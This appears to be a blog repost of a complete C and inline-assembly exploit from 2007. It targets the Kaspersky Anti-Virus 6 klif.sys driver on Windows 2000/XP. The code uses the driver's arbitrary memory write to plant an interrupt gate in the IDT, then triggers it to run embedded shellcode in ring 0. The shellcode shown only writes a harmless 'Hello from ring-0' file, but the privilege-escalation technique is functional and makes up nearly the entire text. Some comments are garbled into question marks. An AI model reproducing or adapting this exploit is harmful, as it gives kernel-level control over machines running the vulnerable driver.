鬼仔's Blog

// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"

unsigned char Shellcode[405] = {
  0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,
  0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,
  0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,
  0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,
  0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,
  0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,
  0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,
  0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,
  0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,
  0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,
  0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,
  0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,
  0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,
  0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
  0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,
  0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,
  0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,
  0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
  0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
  0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
  0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,
  0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,
  0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,
  0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,
  0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,
  0x6C, 0x24, 0x1C, 0x61, 0xC3
};

typedef struct _FIRST_PARAM {
  ULONG  SwitchIndex;
  ULONG  Unknown;      // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
  ULONG  Value;        // this value will rewrite DWORD of memory
} FIRST_PARAM, *PFIRST_PARAM;

void main(int argc, char* argv[])
{
  __try
  {
    FIRST_PARAM      Param1;
    ULONG        Param2;    // pointer to write DATA - 8
    CHAR        Idtr[6];
    CHAR        IsKAVInstalled;
    OSVERSIONINFOEX    os;

    os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx((LPOSVERSIONINFO)&os);

    if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
      os.dwMajorVersion != 5 ||
      os.dwMinorVersion > 1)
    {
      printf("This OS version unsupported\n");
      return;
    }

    // ??? ?????? ?????????, ?????????? ?? KAV ??? ???

    __asm {
      cmp    os.dwMinorVersion, 0
      jnz    short $+13
      mov    eax, 0F8h    // 2k
      jmp    short $+7
      mov    eax, 11Ch    // xp
      int    2Eh

      cmp    eax, 0Ch
      setz  al
      mov    IsKAVInstalled, al
    }

    if (!IsKAVInstalled)
    {
      printf("KAV6 didn't installed\n");
      return;
    }

    Param1.SwitchIndex = 3;    // Index of jmp in case of switch()
    Param1.Unknown = 0xFF0002;

    __asm {
      pusha
      sidt  Idtr

      mov    eax, dword ptr [Idtr+2]

      add    eax, 0DAh * 8 - 8
      mov    Param2, eax

      // Write lower DWORD IdtEntry

      mov    ecx, offset Shellcode
      and    ecx, 0000FFFFh
      or    ecx, 00080000h
      mov    Param1.Value, ecx  // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]

      push  Param2
      lea    eax, Param1
      push  eax

      mov    edx, esp
      cmp    os.dwMinorVersion, 0
      jnz    short $+13
      mov    eax, 100h    // 2k
      jmp    short $+7
      mov    eax, 124h    // xp
      int    2Eh
      add    esp, 2*4

      // Write high DWORD IdtEntry

      add    Param2, 4

      mov    ecx, offset Shellcode
      and    ecx, 0FFFF0000h
      or    ecx, 0000EE00h
      mov    Param1.Value, ecx  // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]

      push  Param2
      lea    eax, Param1
      push  eax

      mov    edx, esp
      cmp    os.dwMinorVersion, 0
      jnz    short $+13
      mov    eax, 100h    // 2k
      jmp    short $+7
      mov    eax, 124h    // xp
      int    2Eh
      add    esp, 2*4

      // Call Gate :-) (COLGATE)

      push  fs
      int    0DAh
      pop    fs

      popa
    }

    printf("Exploited successful\n");
  }
  __except(1) {
    printf("Can't create interrupt gate\n");
  }
}

// 15.01.07 MaD